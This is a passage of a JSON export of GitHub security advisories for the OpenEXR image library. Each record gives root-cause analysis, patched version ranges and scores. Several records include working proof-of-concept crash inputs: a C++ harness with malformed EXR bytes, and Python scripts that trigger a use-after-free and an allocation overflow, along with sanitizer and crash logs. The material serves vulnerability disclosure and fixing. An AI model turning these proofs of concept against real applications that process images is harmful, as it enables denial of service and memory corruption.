file size)\nint64_t nend = nread + (int64_t)sz;       // e.g., 17 + 4096 = 4113\nif (stream_sz \u003e 0 \u0026\u0026 nend \u003e stream_sz)\n{\n    sz = stream_sz - nend;                // 21 - 4113 = -4092 (signed)\n}\n// ...\nmemcpy (buffer, data, sz);               // sz is size_t → wraps to 0xFFFFFFFFFFFFF004\n```\n\n`sz` is of type `size_t` (unsigned), but `stream_sz - nend` yields a negative `int64_t` value. This negative value is implicitly converted to `size_t`, wrapping around to a value close to `2^64`, which is then passed to `memcpy` causing a heap-buffer-overflow.\n\n**Suggested fix:** `sz = stream_sz - nend` → `sz = stream_sz - nread`\n\n## Reproduce\n\nBuild OpenEXR as static libraries with ASAN enabled, then compile the PoC below.\n\n**PoC Code:**\n\n```cpp\n#include \u003ccstdint\u003e\n#include \u003ccstring\u003e\n#include \u003ciostream\u003e\n\n#include \u003cImfMultiPartInputFile.h\u003e\n#include \u003cImfInputPart.h\u003e\n#include \u003cImfHeader.h\u003e\n\nOPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER\n\nclass MemMapIStream : public IStream\n{\npublic:\n    MemMapIStream (const uint8_t* data, size_t len)\n        : IStream (\"poc_input\")\n        , _data (reinterpret_cast\u003cconst char*\u003e (data))\n        , _size (static_cast\u003cint64_t\u003e (len))\n        , _pos (0)\n    {}\n\n    bool isMemoryMapped () const override { return true; }\n\n    bool read (char c[], int n) override\n    {\n        int64_t avail = (_pos \u003c _size) ? (_size - _pos) : 0;\n        int64_t copy  = (static_cast\u003cint64_t\u003e (n) \u003c avail) ? n : avail;\n        if (copy \u003e 0) memcpy (c, _data + _pos, copy);\n        _pos += n;\n        return _pos \u003c= _size;\n    }\n\n    char* readMemoryMapped (int n) override\n    {\n        if (_pos + n \u003e _size)\n            throw IEX_NAMESPACE::InputExc (\"read past end\");\n        const char* p = _data + _pos;\n        _pos += n;\n        return const_cast\u003cchar*\u003e (p);\n    }\n\n    uint64_t tellg () override { return static_cast\u003cuint64_t\u003e (_pos); }\n    void     seekg (uint64_t pos) override { _pos = static_cast\u003cint64_t\u003e (pos); }\n\n    int64_t size () override { return _size; }\n\nprivate:\n    const char* _data;\n    int64_t     _size;\n    int64_t     _pos;\n};\n\nOPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT\n\nint main ()\n{\n    static const uint8_t crash_data[] = {\n        0x76, 0x2f, 0x31, 0x01,\n        0x02, 0x06, 0x00, 0x00,\n        0x74, 0x69, 0x6c, 0x65, 0x73, 0x00,\n        0x20, 0x00, 0x00,\n        0x53, 0x00, 0x00, 0x00\n    };\n\n    try\n    {\n        Imf::MemMapIStream stream (crash_data, sizeof (crash_data));\n        Imf::MultiPartInputFile file (stream);\n    }\n    catch (const std::exception\u0026 e)\n    {\n        std::cout \u003c\u003c \"Exception: \" \u003c\u003c e.what () \u003c\u003c \"\\n\";\n    }\n\n    return 0;\n}\n```\n\n**PoC Input:** https://drive.google.com/file/d/1VhjdK11LA0LHdW1mJJIQEo64mc5tpOUV/view?usp=drive_link\n\n## ASAN Log\n\n```\n==305348==ERROR: AddressSanitizer: negative-size-param: (size=-4096)\n    #0 0x62aee9fc732a in __asan_memcpy (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #1 0x62aeea0e3377 in Imf_4_0::istream_nonparallel_read(_priv_exr_context_t const*, void*, void*, unsigned long, unsigned long, int (*)(_priv_exr_context_t const*, int, char const*, ...)) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContextInit.cpp:136:21\n    #2 0x62aeea15e75b in dispatch_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:51:16\n    #3 0x62aeea19da19 in scratch_seq_skip /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:202:29\n    #4 0x62aeea197ec9 in check_populate_tiles /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:1560:9\n    #5 0x62aeea197ec9 in check_req_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2020:24\n    #6 0x62aeea197ec9 in pull_attr /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2085:10\n    #7 0x62aeea197ec9 in internal_exr_parse_header /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/parse_header.c:2848:18\n    #8 0x62aeea15f578 in exr_start_read /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXRCore/context.c:270:49\n    #9 0x62aeea0d8130 in Imf_4_0::Context::Context(char const*, Imf_4_0::ContextInitializer const\u0026, Imf_4_0::Context::read_mode_t) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfContext.cpp:124:10\n    #10 0x62aeea0633ab in Imf_4_0::MultiPartInputFile::MultiPartInputFile(char const*, Imf_4_0::ContextInitializer const\u0026, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:59:7\n    #11 0x62aeea0649de in Imf_4_0::MultiPartInputFile::MultiPartInputFile(Imf_4_0::IStream\u0026, int, bool) /home/wjddn0623/fuzzing/openexr/src/lib/OpenEXR/ImfMultiPartInputFile.cpp:96:7\n    #12 0x62aeea00d522 in fuzz_cpp_headers(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:167:31\n    #13 0x62aeea00d522 in fuzz_cpp_api(char const*, unsigned long) /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:460:5\n    #14 0x62aeea00a156 in LLVMFuzzerTestOneInput /home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer.cc:927:5\n    #15 0x62aee9f15414 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187414) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #16 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #17 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #18 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #19 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #20 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n    #21 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n\n0x503000000235 is located 0 bytes after 21-byte region [0x503000000220,0x503000000235)\nallocated by thread T0 here:\n    #0 0x62aeea007c61 in operator new[](unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x279c61) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #1 0x62aee9f15325 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x187325) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #2 0x62aee9efe546 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x170546) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #3 0x62aee9f03ffa in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x175ffa) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #4 0x62aee9f2e7b6 in main (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x1a07b6) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n    #5 0x71035ee2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #6 0x71035ee2a28a in __libc_start_main csu/../csu/libc-start.c:360:3\n    #7 0x62aee9ef9114 in _start (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x16b114) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0)\n\nSUMMARY: AddressSanitizer: negative-size-param (/home/wjddn0623/fuzzing/openexr/exr_decode_fuzzer+0x23932a) (BuildId: c02729e73015cfda2879d44b5d5b25d4b5e68ae0) in __asan_memcpy\n==305348==ABORTING\n```\n\n## Impact\n\n- **DoS** — Any application that opens a crafted EXR file will crash immediately\n- **CWE-195** (Signed to Unsigned Conversion Error) → **CWE-122** (Heap-based Buffer Overflow)\n- Affects any application using an `IStream` implementation where `isMemoryMapped()` returns `true`","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-06T17:51:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","references":["https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-q6vj-wxvf-5m8c","https://nvd.nist.gov/vuln/detail/CVE-2026-26981","https://github.com/AcademySoftwareFoundation/openexr/commit/6bb2ddf1068573d073edf81270a015b38cc05cef","https://github.com/AcademySoftwareFoundation/openexr/commit/d2be382758adc3e9ab83a3de35138ec28d93ebd8","https://github.com/advisories/GHSA-q6vj-wxvf-5m8c"],"source_kind":"github","identifiers":["GHSA-q6vj-wxvf-5m8c","CVE-2026-26981"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-06T18:00:10.375Z","updated_at":"2026-10-07T16:04:11.259Z","epss_percentage":0.00496,"epss_percentile":0.40514,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNnZqLXd4dmYtNW04Y84ABUyd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNnZqLXd4dmYtNW04Y84ABUyd","packages":[{"ecosystem":"pypi","package_name":"OpenEXR","versions":[{"first_patched_version":"3.4.5","vulnerable_version_range":"\u003e= 3.4.0, \u003c 3.4.5"},{"first_patched_version":"3.3.7","vulnerable_version_range":"\u003e= 3.3.0, \u003c 3.3.7"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNnZqLXd4dmYtNW04Y84ABUyd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01N2N3LWo2dnAtMnA5bc4ABUyc","url":"https://github.com/advisories/GHSA-57cw-j6vp-2p9m","title":"OpenEXR has use after free in PyObject_StealAttrString","description":"### Summary\nThere is a use-after-free in PyObject_StealAttrString of pyOpenEXR_old.cpp.\n\nThis bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).\n\n### Details\n\nThe legacy adapter defines PyObject_StealAttrString that calls PyObject_GetAttrString to obtain a new reference, immediately decrefs it, and returns the pointer. Callers then pass this dangling pointer to APIs like PyLong_AsLong/PyFloat_AsDouble, resulting in a use-after-free. This is invoked in multiple places (e.g., reading PixelType.v, Box2i, V2f, etc.).\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L380-L387\n\nhttps://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L1258-L1286\n\n### PoC\n\n```py\nimport OpenEXR, Imath\n\n# Any small EXR will do - use one from OpenEXR test images or any project file\npath = \"any_small.exr\"\n\n# Property returns a fresh temporary int subclass, so the buggy helper\n# decrefs it to zero before passing it to PyLong_AsLong =\u003e UAF.\nclass FreshInt(int):\n    def __new__(cls, v):\n        return int.__new__(cls, v)\n    def __del__(self):\n        # stir the heap to make the UAF obvious under PYTHONMALLOC=debug\n        _ = bytearray(1_000_000)\n\nclass PixelTypeProxy:\n    @property\n    def v(self):\n        return FreshInt(Imath.PixelType.FLOAT)  # any small value is fine\n\nf = OpenEXR.InputFile(path)\n# channel() forces the wrapper to read pixel_type.v using the buggy helper\n# which returns a dangling pointer\nprint(\"About to trigger UAF...\")\nf.channel(\"R\", pixel_type=PixelTypeProxy())\nprint(\"If you get here without a crash, try again with AddressSanitizer.\")\n```\nrunning\n\n```shell\nPYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py\n```\n\n```\nAbout to trigger UAF...\nFatal Python error: Segmentation fault\n\nCurrent thread 0x00000001f209a140 (most recent call first):\n  File \"/private/tmp/i/pt.py\", line 24 in \u003cmodule\u003e\n\nCurrent thread's C stack trace (most recent call first):\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _Py_DumpStack+0x44 [0x1058c00f8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at faulthandler_dump_c_stack+0x58 [0x1058d2f3c]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at faulthandler_fatal_error+0x160 [0x1058d2e00]\n  Binary file \"/usr/lib/system/libsystem_platform.dylib\", at _sigtramp+0x38 [0x1841796a4]\n  Binary file \"/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so\", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]\n  Binary file \"/private/tmp/i/lib/python3.14/site-packages/OpenEXR.cpython-314-darwin.so\", at _Z16init_OpenEXR_oldP7_object+0x1010 [0x105cb9e94]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at method_vectorcall_VARARGS_KEYWORDS+0x94 [0x1057032bc]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at PyObject_Vectorcall+0x58 [0x1056f5044]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyEval_EvalFrameDefault+0x9cac [0x1058312d8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at PyEval_EvalCode+0xf8 [0x105827130]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at run_mod+0xac [0x1058a2b60]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pyrun_file+0xa4 [0x1058a123c]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyRun_SimpleFileObject+0x100 [0x1058a07c0]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at _PyRun_AnyFileObject+0x50 [0x1058a0424]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_run_file_obj+0xa4 [0x1058cfcd8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_run_file+0x48 [0x1058cfa20]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at Py_RunMain+0x354 [0x1058cef60]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at pymain_main+0xe8 [0x1058cf3f8]\n  Binary file \"/opt/homebrew/Cellar/python@3.14/3.14.0/Frameworks/Python.framework/Versions/3.14/Python\", at Py_BytesMain+0x28 [0x1058cf494]\n  Binary file \"/usr/lib/dyld\", at start+0x17bc [0x183d9eb98]\n\nExtension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2)\nSegmentation fault: 11     PYTHONMALLOC=debug PYTHONDEVMODE=1 python3 pt.py\n```\n\n### Impact\n\nCompletely depends on the context. Typical memory stuff related to UAFs.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-06T17:51:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P","references":["https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-57cw-j6vp-2p9m","https://nvd.nist.gov/vuln/detail/CVE-2025-64183","https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L109-L115","https://github.com/advisories/GHSA-57cw-j6vp-2p9m"],"source_kind":"github","identifiers":["GHSA-57cw-j6vp-2p9m","CVE-2025-64183"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-06T18:00:10.375Z","updated_at":"2026-10-05T15:04:16.299Z","epss_percentage":0.003,"epss_percentile":0.20528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01N2N3LWo2dnAtMnA5bc4ABUyc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01N2N3LWo2dnAtMnA5bc4ABUyc","packages":[{"ecosystem":"pypi","package_name":"OpenEXR","versions":[{"first_patched_version":"3.4.3","vulnerable_version_range":"\u003e= 3.4.0, \u003c 3.4.3"},{"first_patched_version":"3.3.6","vulnerable_version_range":"\u003e= 3.3.0, \u003c 3.3.6"},{"first_patched_version":"3.2.5","vulnerable_version_range":"\u003e= 3.2.0, \u003c 3.2.5"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01N2N3LWo2dnAtMnA5bc4ABUyc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12aDYzLTltcXgtd21qcs4ABUyb","url":"https://github.com/advisories/GHSA-vh63-9mqx-wmjr","title":"OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()","description":"### Summary\n\nA memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.\n\nInteger overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).\n\nThis bug was found with [ZeroPath](https://zeropath.com/?utm_source=joshua.hu).\n\n### Details\n\nInteger overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around [here](https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536).\n\n-   In `channel()`:\n\n    -   Width and height are derived from the header dataWindow using `int`.\n\n    -   `typeSize` is a `size_t`. The buffer size is computed as `typeSize * width * height` with no bounds checks.\n\n    -   The result is passed to `PyString_FromStringAndSize(NULL, size)` which maps to `PyBytes_FromStringAndSize`. That function expects `Py_ssize_t`. If the product overflows or exceeds `PY_SSIZE_T_MAX`, allocation fails or the value wraps.\n\n    -   The return value is not checked. The code immediately calls `PyString_AsString(r)` and proceeds to build a `FrameBuffer` and calls `readPixels(miny, maxy)`.\n\n    -   On 64 bit: `PyBytes_FromStringAndSize` returns NULL, the wrapper dereferences NULL and crashes.\\\n        On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which `readPixels` writes `typeSize * width` bytes per scanline for `height` lines into that buffer, causing a heap overflow.\n\n-   In `channels()` the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the `Slice` it hardcodes `xSampling=1, ySampling=1`. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.\n\n### PoC\n\n```python\n# write_big_header_then_crash.py\nimport OpenEXR, Imath\n\n# OpenEXR sanity clamp for header coords is about INT_MAX/2 - 1\nINT_MAX = (1 \u003c\u003c 31) - 1\nMAX_COORD = (INT_MAX // 2) - 1  # 1073741822\n\n# Choose a scanline width that keeps row-bytes \u003c 2^31\n# 400,000,000 * 4 bytes = ~1.6 GB per scanline, which many codecs accept\nWIDTH = min(400_000_000, MAX_COORD + 1)   # pixels\nHEIGHT = 64                                # small height keeps the file tiny\n\n# Build windows from pixel counts\ndw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))\n\n# Robustly set NO_COMPRESSION across enum naming differences\ndef no_compression():\n    # Try common names, else fallback to numeric 0\n    C = Imath.Compression\n    for name in (\"NO_COMPRESSION\", \"NONE\", \"NO_COMPRESSION_ENUM\"):\n        if hasattr(C, name):\n            return Imath.Compression(getattr(C, name))\n    return Imath.Compression(0)\n\nhdr = {\n    \"dataWindow\": dw,\n    \"displayWindow\": dw,\n    \"channels\": {\"R\": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))},\n    \"compression\": no_compression(),\n    \"lineOrder\": Imath.LineOrder(Imath.LineOrder.INCREASING_Y),\n}\n\n# Write just the header (no pixels)\nout = OpenEXR.OutputFile(\"big_header.exr\", hdr)\nout.close()\n\n# Now trigger the legacy bug: huge allocation request returns NULL, code fails to check\nf = OpenEXR.InputFile(\"big_header.exr\")\nprint(\"Triggering crash...\")\nf.channels([\"R\"])\n```\n\n```\n$ python3 poc.py \nTriggering crash...\nlibc++abi: terminating due to uncaught exception of type Iex_3_4::InputExc: Unable to query scanline information\nAbort trap: 6              python3 poc.py\n```\n\n### Impact\nTypical memory stuff.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-06T17:51:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","references":["https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-vh63-9mqx-wmjr","https://nvd.nist.gov/vuln/detail/CVE-2025-64182","https://github.com/AcademySoftwareFoundation/openexr/blob/b3a19903db0672c63055023aa788e592b16ec3c5/src/wrappers/python/PyOpenEXR_old.cpp#L528-L536","https://github.com/advisories/GHSA-vh63-9mqx-wmjr"],"source_kind":"github","identifiers":["GHSA-vh63-9mqx-wmjr","CVE-2025-64182"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-06T18:00:10.375Z","updated_at":"2026-10-05T15:04:16.299Z","epss_percentage":0.00243,"epss_percentile":0.13707,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12aDYzLTltcXgtd21qcs4ABUyb","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12aDYzLTltcXgtd21qcs4ABUyb","packages":[{"ecosystem":"pypi","package_name":"OpenEXR","versions":[{"first_patched_version":"3.4.3","vulnerable_version_range":"\u003e= 3.4.0, \u003c 3.4.3"},{"first_patched_version":"3.3.6","vulnerable_version_range":"\u003e= 3.3.0, \u003c 3.3.6"},{"first_patched_version":"3.2.5","vulnerable_version_range":"\u003e= 3.2.0, \u003c 3.2.5"}],"purl":"pkg:pypi/openexr"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12aDYzLTltcXgtd21qcs4ABUyb/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zaDloLXFmdnctOThocc4ABUya","url":"https://github.com/advisories/GHSA-3h9h-qfvw-98hq","title":"OpenEXR Makes Use of Uninitialized Memory","description":"### Summary\nWhile fuzzing `openexr_exrcheck_fuzzer`, Valgrind reports a conditional branch depending on uninitialized data inside `generic_unpack`. This indicates a use of uninitialized memory (CWE-457). The issue is reproducible with the current OSS-Fuzz harness and a single-file PoC.\n\n### Details\n\n**Environment:**\n- Tooling: `valgrind --tool=memcheck --track-origins=yes`\n- Target: `openexr_exrcheck_fuzzer`\n- OS: Ubuntu 20.04.6 LTS focal x86_64\n- openexr version and Git-commit hash: ` openexr 3.4.2 | commit fd657e8a41e157e5841c7cc2e2a5efe094b069a1 (grafted, HEAD -\u003e main, origin/main, origin/HEAD)`\n\nFunction: `generic_unpack`\n\nPossible root cause (based on observed symptoms):\nThe unpacker is branching on bytes in a scratch buffer that were never written because the decode step didn’t fully populate it.\n- The first use flagged is in `generic_unpack()`. That function reads from the decompressed/expanded pixel buffer to scatter data into the framebuffer. A “conditional jump depends on uninitialised value(s)” means it’s consulting bytes in that buffer before they were written.\n- Valgrind says the uninitialised value “was created by a heap allocation (malloc)”, not the stack: this matches a per-tile/per-scanline decode scratch buffer allocated in `exr_decoding_run()`.\n\n**Valgrind Trace (top frames):**\n```bash\n==454== Conditional jump or move depends on uninitialised value(s)\n==454==    at 0x4539BE: generic_unpack (in /out/openexr_exrcheck_fuzzer)\n==454==    by 0x44B85F: exr_decoding_run (in /out/openexr_exrcheck_fuzzer)\n==454==    by 0x38BC5F: Imf_4_0::(anonymous namespace)::TileProcess::run_decode(_priv_exr_context_t const*, int, Imf_4_0::FrameBuffer const*, std::__1::vector\u003cImf_4_0::Slice, std::__1::allocator\u003cImf_4_0::Slice\u003e \u003e const\u0026) (in /out/openexr_exrcheck_fuzzer)\n==454==    by 0x388BE1: Imf_4_0::TiledInputFile::Data::readTiles(int, int, int, int, int, int) (in /out/openexr_exrcheck_fuzzer)\n==454==    by 0x388619: Imf_4_0::TiledInputFile::readTiles(int, int, int, int, int, int) (in /out/openexr_exrcheck_fuzzer)\n==454==    by 0x353755: Imf_4_0::InputFile::Data::bufferedReadPixels(int, int) (in /out/openexr_exrcheck_fuzzer)\n==454==    by 0x352286: Imf_4_0::InputFile::readPixels(int) (in /out/openexr_exrcheck_fuzzer)\n==454==    by 0x3190FA: Imf_4_0::(anonymous namespace)::readMultiPart(Imf_4_0::MultiPartInputFile\u0026, bool, bool) (in /out/openexr_exrcheck_fuzzer)\n==454==    by 0x314C4D: Imf_4_0::checkOpenEXRFile(char const*, unsigned long, bool, bool, bool) (in /out/openexr_exrcheck_fuzzer)\n==454==  Uninitialised value was created by a heap allocation at 0x483B7F3: malloc (in /usr/lib/x86_64-linux-gnu/valgrind/vgpreload_memcheck-amd64-linux.so)\n```\n\n### PoC\nIn the attached archive, you will find:\n- The executable used for our tests.\n- The testcase used to trigger the bug.\n\nTo observe the bug, simply run the OSS-Fuzz helper script:\n```bash\ngit clone https://github.com/google/oss-fuzz.git\ncd oss-fuzz\n\npython3 infra/helper.py build_image openexr\npython3 infra/helper.py build_fuzzers --sanitizer=none openexr\npython3 infra/helper.py shell openexr\n\napt update \u0026\u0026 apt install -y valgrind\nulimit -n 65535\nvalgrind --tool=memcheck --track-origins=yes /out/openexr_exrcheck_fuzzer /path/to/poc\n```\n\n### Impact\n- Undefined Behavior\n- Potential crash\n- Denial of Service\n\n**Credit:** Aldo Ristori\n[archive0.zip](https://github.com/user-attachments/files/23024726/archive0.zip)\n\n\n\n### Update Note:\nOther saved testcases from the fuzzing campaign trigger the same underlying bug, but with a different manifestation. So there is one root cause (missing post-decode validation / zero-init before any unpack), with different call-sites. Below there are several archives, formatted like the previous one, that reproduce the other test cases.\n\n**Other observed sinks (distinct manifestations of the same bug):**\n\n**Deep pointers path:**\ngeneric_unpack_deep_pointers (deep scanline/tiled)\n[archive1.zip](https://github.com/user-attachments/files/23024736/archive1.zip)\n\n\n**Deep sample table path:**\nunpack_sample_table (deep scanline)\n[archive2.zip](https://github.com/user-attachments/files/23024740/archive2.zip)\n\n\n**Half conversion path:**\nhalf_to_float_buffer_f16c via unpack_half_to_float_3chan_planar\n[archive3.zip](https://github.com/user-attachments/files/23024744/archive3.zip)\n\n\n**Deep compositing:**\nCompositeDeepScanLine::readPixels → ThreadPool::addTask → LineCompositeTask::execute\n[archive4.zip](https://github.com/user-attachments/files/23024746/archive4.zip)","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-04-06T17:51:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","references":["https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-3h9h-qfvw-98hq","https://nvd.nist.gov/vuln/detail/CVE-2025-64181","https://github.com/user-attachments/files/23024726/archive0.zip","https://github.com/user-attachments/files/23024736/archive1.zip","https://github.com/user-attachments/files/23024740/archive2.zip","https://github.com/user-attachments/files/23024744/archive3.zip","https://github.com/user-attachments/files/23024746/archive4.zip","https://github.com/advisories/GHSA-3h9h-qfvw-98hq"],"source_kind":"github","identifiers":["GHSA-3h9h-qfvw-98hq","CVE-2025-64181"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-06T18:00:10.375Z","updated_at":"2026-10-05T15:04:16.301Z","epss_percentage":0.00382,"epss_percentile":0.29566,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/